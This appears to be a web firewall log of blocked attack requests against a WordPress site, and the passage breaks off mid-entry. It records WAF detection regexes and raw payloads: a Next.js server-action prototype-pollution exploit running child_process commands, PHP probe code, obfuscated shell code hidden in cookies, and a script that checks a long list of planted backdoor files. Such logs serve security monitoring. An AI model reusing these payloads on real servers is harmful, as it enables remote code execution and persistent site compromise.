["2026-04-20 01:56:38","40.81.230.77","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\ncache-control:no-cache\nsec-fetch-site:none\ncontent-type:multipart\/form-data; boundary=---------------------------81233949293889\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nnext-action:x\ncontent-length:702\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\n\n-----------------------------81233949293889\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n-----------------------------81233949293889\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n-----------------------------81233949293889\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n-----------------------------81233949293889--"]
["2026-04-20 02:05:06","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> TQ:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:250\nhost:dewenlabels.com\n\nTQ=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 02:05:09","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> ZZ:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-user:?1\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJybvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:250\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nZZ=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 02:39:31","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VO:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIx8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:13568\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nVO=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\